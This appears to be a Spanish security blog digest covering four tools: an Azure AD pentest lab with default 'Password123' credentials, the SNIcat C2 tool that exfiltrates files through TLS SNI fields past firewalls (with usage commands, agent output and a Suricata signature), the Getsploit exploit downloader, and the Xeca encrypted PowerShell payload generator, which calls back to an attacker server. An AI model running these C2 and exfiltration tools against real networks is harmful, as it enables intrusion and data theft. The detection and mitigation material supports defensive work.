Purple Cloud: despliega un lab de DA en la nube

Purple Cloud de Jason Ostrom es una pequeña implementación de Active Directory automatizada con plantillas de playbooks en Terraform/Ansible para implementar en Azure; ideal para organizar y llevar a cabo un ciberejercicio de pentesting en AD. Sus características actuales son:

- Implementa una máquina virtual Linux para pentesting y un contenedor Docker (AriaCloud) accesible a través de RDP
- También se puede realizar una implementación independiente de AriaCloud desde este repositorio. Para esta opción, hay que navegar hasta el directorio aria-cloud y ver el archivo README. Más info en https://github.com/iknowjason/AriaCloud.
- Implementa un controlador de dominio Windows 2019 y tres endpoints de Windows 10 Pro
- Une automáticamente los tres equipos con Windows 10 al dominio AD
- Utiliza plantillas de Terraform para implementar automáticamente VMs en Azure
- Las plantillas de Terraform escriben la configuración de los playbooks en Ansible, que se pueden personalizar
- Carga Badblood automáticamente (pero no lo instala) si prefieres generar miles de usuarios simulados https://github.com/davidprowe/BadBlood
- El script de Powershell posterior a la implementación proporciona tres usuarios de dominio en el controlador de dominio 2019 y se puede personalizar para muchos más

• Usuarios del dominio: olivia (administrador del dominio); lars (usuario de dominio); liem (Usuario de dominio)
• Todas las contraseñas de usuario de dominio: Password123
• Dominio: RTC.LOCAL
• Credenciales del administrador de dominio: RTCAdmin: Password123

- Implementa cuatro subredes IP
- Implementa grupos de seguridad de red de Azure (NSG) intencionalmente inseguros que permiten RDP, WinRM (5985, 5986) y SSH desde la Internet pública. Securiza esto según tus requisitos. WinRM se utiliza para aprovisionar automáticamente los hosts.
- Incluye un script de Powershell posterior a la implementación que agrega entradas de registro en cada endpoint de Windows 10 Pro para iniciar sesión automáticamente con cada nombre de usuario de dominio correspondiente. Esta función simula un entorno de AD real con estaciones de trabajo con inicios de sesión de dominio interactivos. Cuando intenta RDP en los endpoints, el atacante simulado se encuentra con:


Despliegue e instalación

Nota: probado en Ubuntu 20.04

Paso 1: instala Terraform y Ansible en el sistema Linux

Descarga e instala Terraform: https://www.terraform.io/downloads.html

Instalar Ansible

$ sudo apt-get install ansible

Paso 2: Configura un Service Principal en la suscripción de Azure que permite a Terraform automatizar las tareas de su suscripción de Azure

Seguir las instrucciones exactas de este enlace de Microsoft: https://docs.microsoft.com/en-us/azure/developer/terraform/getting-started-cloud-shell

Estos fueron los dos comandos básicos que se ejecutaron en función de este enlace anterior:

az ad sp create-for-rbac --role="Contributor" --scopes="/subscriptions/<subscription_id>

y este comando a continuación. Según las pruebas, es necesario usar un rol de "Propietario" en lugar de "Colaborador". La documentación predeterminada de Microsoft muestra el rol de "Colaborador" que dio lugar a errores.

az login --service-principal -u -p "" --tenant ""

Para configurar nuestro proveedor de Terraform Azure:

subscription_id = ""
client_id = ""
client_secret = ""
tenant_id = ""

Paso 3: clona este repositorio

$ git clone https://github.com/iknowjason/PurpleCloud.git

Paso 4: editar el archivo terraform.tfvars para el proveedor de recursos de Azure con las credenciales de Service Principal

cd PurpleCloud/deploy
vi terraform.tfvars

Editar estos parámetros en el archivo terraform.tfvars:

subscription_id = ""
client_id = ""
client_secret = ""
tenant_id = ""

El archivo terraform.tfvars debería tener un aspecto parecido a esto, pero con las credenciales propias de Azure Service Principal:

subscription_id = "aa9d8c9f-34c2-6262-89ff-3c67527c1b22"
client_id = "7e9c2cce-8bd4-887d-b2b0-90cd1e6e4781"
client_secret = ":+O$+adfafdaF-?%:.?d/EYQLK6po9`|E<["
tenant_id = "8b6817d9-f209-2071-8f4f-cc03332847cb"

Paso 5: Ejecuta los comandos para inicializar terraform y aplicar el plan de recursos

$ cd PurpleCloud/deploy
$ terraform init
$ terraform apply -var-file=terraform.tfvars -auto-approve

Esto debería iniciar el plan de implementación automatizado de Terraform.

Paso 6: Opcional: descomprimir y ejecutar Badblood desde el directorio C:\terraform (https://github.com/davidprowe/BadBlood)

Algunos aspectos conocidos, bugs y más info en el repo oficial: https://github.com/iknowjason/PurpleCloud

SNIcat: bypasseando la inspección TLS para exfiltrar información

Los investigadores Morten Marstrander y Matteo Malvica de Mnemonic han descubierto un método para exfiltrar información bypasseando dispositivos que interceptan e inspeccionan TLS como proxies web, firewalls de última generación (NGFW) y otras soluciones, entre ellos, dispositivos de F5 Networks, Palo Alto Networks y Fortinet.

Normalmente estos appliances verifican el SNI (Server Name Indication) para bloquearlo si la URL o el hostname están categorizados como maliciosos. EL procedimiento sería así:

Lo más fácil parece cambiar el SNI y luego mandar el tráfico a un dominio malicioso, pero como veis en la imagen muchas plataformas de seguridad si no matchea el SNI con el cn del certificado del sitio bloquean el tráfico directamente. Sin embargo, el bloqueo se realiza una vez que se ha completado el handshake TLS por lo que se puede aprovechar ese stream unidireccional para exfiltrar información (el paquete TLS Client Hello siempre llega a su destino). Además, muchos dispositivos que hacen un mirror del tráfico para descifrarlo e inspeccionarlo con un IDS no reciben el handshake TLS... }:-)

Además, siempre que el servidor presente un certificado válido y confiable durante el handshake TLS, la solución de seguridad siempre presentará una versión emulada de ese certificado al cliente, firmada por la CA integrada de la solución. Este comportamiento ocurre incluso si el dominio utilizado está en la lista negra de una base de datos de reputación (categorización de URL/dominio). Sin embargo, si el certificado que presenta el servidor es auto-firmado no confiable normalmente devuelven un reset a la sesión TCP.

Esa lógica "certificado válido YES y certificado no-confiable self-signed NO" ha sido aprovechada por la gente de Mnemonic para implementar la comunicación con el C2 en su herramienta SNIcat que se divide en dos componentes:

- Un agente pasivo que debe ponerse en el host ya comprometido. Su único objetivo es volver a conectarse al C2 y ejecutar los comandos proporcionados.

- Un servidor C2 que controla al agente desde cualquier lugar de Internet.

El agente pasivo está equipado con varios comandos, incluida la capacidad de exfiltrar (es decir, subir) archivos al servidor. Constantemente recorre todos los comandos disponibles y espera a que el servidor C2 seleccione el deseado aprovechando la capacidad binaria YES/NO mencionada anteriormente. 

Con SNIcat conseguimos una interfaz de línea de comandos (CLI) independiente mínima pero efectiva. La CLI puede ofrecer comandos básicos de navegación del sistema de archivos, como saltar entre carpetas, listar archivos y, obviamente, exfiltrar, como se muestra en el siguiente vídeo que suben un archivo del agente al servidor C2:

Url del video: https://youtu.be/xwCFOsSZcyk

INSTALACIÓN

$ git clone https://github.com/mnemonic-no/SNIcat.git
$ cd SNIcat/
$ pip3 install -r requirements.txt --user

Obtener certificado válido, por ejemplo con Let's Encrypt, este será GOOD_CERT y GOOD_CERT_KEY:

git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt
./letsencrypt-auto

Crear certificado auto-firmado no confiable que será BAD_CERT y BAD_CERT_KEY:

$ sudo openssl genrsa -aes128 -out private.key 2048
$ sudo openssl req -new -days 365 -key private.key -out request.csr
$ sudo openssl x509 -in request.csr -out certificate.crt -req -signkey private.key -days 365

USO

C2:

(*) USAGE:     'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log=[on|off]'
(*) EXAMPLE:     'python3 snicat_c2.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem certs/ssl-cert-snakeoil.key log=on'

Agente:

(*) USAGE:     'python3 snicat_agent.py c2_server_ip c2_server_port good_cert_name log=[on|off] timeout=[timeout in seconds - default is 0.5]'
(*) Example:     'python3 snicat_agent.py 192.0.2.1 443 .sni.cat log=off timeout=1'

# python3 snicat_agent.py www...com 4443 CERTIFICADOS/cert.pem log=off timeout=1

 ######################################################
 ###   SNICAT C2 AGENT                              ###
 ###   by Morten Marstrander & Matteo Malvica       ###
 ######################################################

    "the not-so-advertized TLS feature"
 
(*) - IDLE - waiting for C2...
(*) Executing: LIST command
(*) Executing: SIZE command
(*) Executing: LD command
(*) Executing: WHERE command
(*) Executing: CD command
(*) Executing: CB command
(*) Executing: LS command
(*) Executing: EX command

MITIGACIONES

Los investigadores de Mnemonic han contactado con diferentes fabricantes para ver distintas mitigaciones:

- Detección en dispositivos de seguridad perimetral

• Un sistema de detección de intrusiones (IDS) podría detectar un payload SNI anómalo redireccionando también el handshake TLS junto redireccionando el tráfico a cualquier dispositivo configurado
• Realizar heurística en el SNI del Client Hello: siempre que los dispositivos puedan capturar el SNI del handshake y enviarlo a un SIEM o un IDS, o comprobar la reputación del dominio correspondiente, se podría detectar SNIcat. También se podría generar una alerta por la longitud del SNI, que normalmente es el máximo permitido (254 bytes) con esta herramienta.
• Otra opción, sería cambiar la lógica de bloqueo de URLs por categoría para que actuara antes viendo el SNI en el handshake.

- Detección en el endpoint

También desarrollaron una herramienta de detección "passiveSNI", conceptualmente similar a la conocida aplicación PassiveDNS.

Funciona monitorizando y registrando constantemente cada paquete TLS/Hello enviado a través de cualquier interfaz de conexión de red. Estos registros generados se pueden recopilar y analizar a través de una solución SIEM contra cualquier firma conocida o análisis de comportamiento.

Firma de Suricata para detectar SNICat:

alert tls $HOME_NET any -> $EXTERNAL_NET any (msg: "SNIcat - Detected C2 commands"; flow: to_server,established; tls.sni; pcre: "/^(LIST|LS|SIZE|LD|CB|CD|EX|ALIVE|EXIT|finito)-[A-Za-z0-9]{16}\./"; threshold: type threshold, track by_src, count 5, seconds 300; sid: 1; rev: 1;)

Productos bypasseados por SNICat

SNIcat pudo bypasseatr con éxito los siguientes productos y sus respectivas versiones de software:

• F5 BIG-IP con TMOS 14.1.2, con SSL Orchestrator 5.5.8
• Palo Alto NGFW con PAN-OS 9.1.1
• Fortigate NGFW ejecutando FortiOS 6.2.3

Referencias

• Proyecto: https://github.com/mnemonic-no/SNIcat
• F5 Networks: el aviso de seguridad se puede encontrar aquí https://support.f5.com/csp/article/K20105555
• Palo Alto Networks: el aviso de seguridad se puede encontrar aquí https://security.paloaltonetworks.com/CVE-2020-2035
• Fortinet: la vulnerabilidad se solucionará en 6.4.3 GA, con un lanzamiento previsto para septiembre. FortiGuard Labs publicará un aviso después del lanzamiento.

Busca y descarga exploits desde la línea de comandos con Getsploit

La gente de Vulners ha creado una herramienta inspirada en searchsploit que permite buscar de forma online en Exploit-DB, Metasplot, Packetstorm y otros y descargar de forma inmediata el código fuente del exploit en la ruta en la que se está trabajando.

Funciona con python 2.6, 2.7 y 3.6 con soporte SQLite FTS4.

Instalación:

# git clone https://github.com/vulnersCom/getsploit
# cd getsploit
# python setup.py install

(o 'pip install getsploit' directamente)

# cd getsploit
# ./getsploit.py -h

usage: Exploit search and download utility [-h] [-t] [-j] [-m] [-c COUNT] [-l]
                                           [-u]
                                           [query [query ...]]

positional arguments:
  query                 Exploit search query. See https://vulners.com/help for
                        the detailed manual.

optional arguments:
  -h, --help            show this help message and exit
  -t, --title           Search JUST the exploit title (Default is description
                        and source code).
  -j, --json            Show result in JSON format.
  -m, --mirror          Mirror (aka copies) search result exploit files to the
                        subdirectory with your search query name.
  -c COUNT, --count COUNT
                        Search limit. Default 10.
  -l, --local           Perform search in the local database instead of
                        searching online.
  -u, --update          Update getsploit.db database. Will be downloaded in
                        the script path.

Uso:

# ./getsploit.py apache struts 2


Descarga de exploits:

# ./getsploit.py -m apache struts 2
# ls ~/getsploit/apache-struts-2# ls
1337day-id-30956.txt  1337day-id-30966.txt  edb-id45262.txt                              packetstorm149086.txt  saint476415a034c3ac589a6ae035fc3b6e74.txt
1337day-id-30965.txt  edb-id45260.txt       msfexploitmultihttpstruts2_rest_xstream.txt  packetstorm149087.txt  saint9b0459bf5aaa66776c1635bf5af5a366.txt

Nota: Si obtienes un error al verificar el certificado SSL (CERTIFICATE_VERIFY_FAILED) puedes desactivar temporalmente la verificación con 'export PYTHONHTTPSVERIFY=0'

Además, si tu python soporta la lib (builtin) de sqlite3 mediante los parámetros --update y --local puedes descargar la base de datos entera de exploits a tu PC para realizar búsquedas offline

# ./getsploit.py --update
Downloading getsploit database archive. Please wait, it may take time. Usually around 5-10 minutes.
219642496/219642496 [100.00%]
Unpacking database.
Database download complete. Now you may search exploits using --local key './getsploit.py -l wordpress 4.7'

Proyecto: https://github.com/vulnersCom/getsploit

Creación de payloads cifrados en Powershell con Xeca

Xeca es un proyecto que crea payloads cifrados de PowerShell con fines ofensivos. También es posible crear shellcodes independientes a partir de archivos DLL. Para instalarlo, tenemos que tener previamente Rust y luego construir el proyecto simplemente con el comando: cargo build.

Su funcionamiento es el siguiente:
1. Identifica y cifra el payload. Carga el payload cifrado en un script de PowerShell y lo guarda en un archivo llamado "launch.txt"
2. La clave para descifrar el payload se guarda en un archivo llamado "safe.txt"
3. Ejecuta "launch.txt" en un host remoto

• El script volverá a llamar al servidor web definido por el atacante para recuperar la clave de descifrado "safe.txt"
• Descifra el payload en la memoria
• Ejecuta el payload en la memoria

Algunos ejemplos de uso:

Empire


Merlin


Sliver


Mitigaciones

Si los usuarios tienen que tener acceso a programas como powershell.exe, para mitigar el uso de estas herramientas hay que considerar minimizar los riesgos de seguridad con Just Enough Administration y PowerShell Logging. Las políticas de control de aplicaciones se pueden implementar a través de whitelisting con herramientas como AppLocker.

Proyecto: https://github.com/postrequest/xeca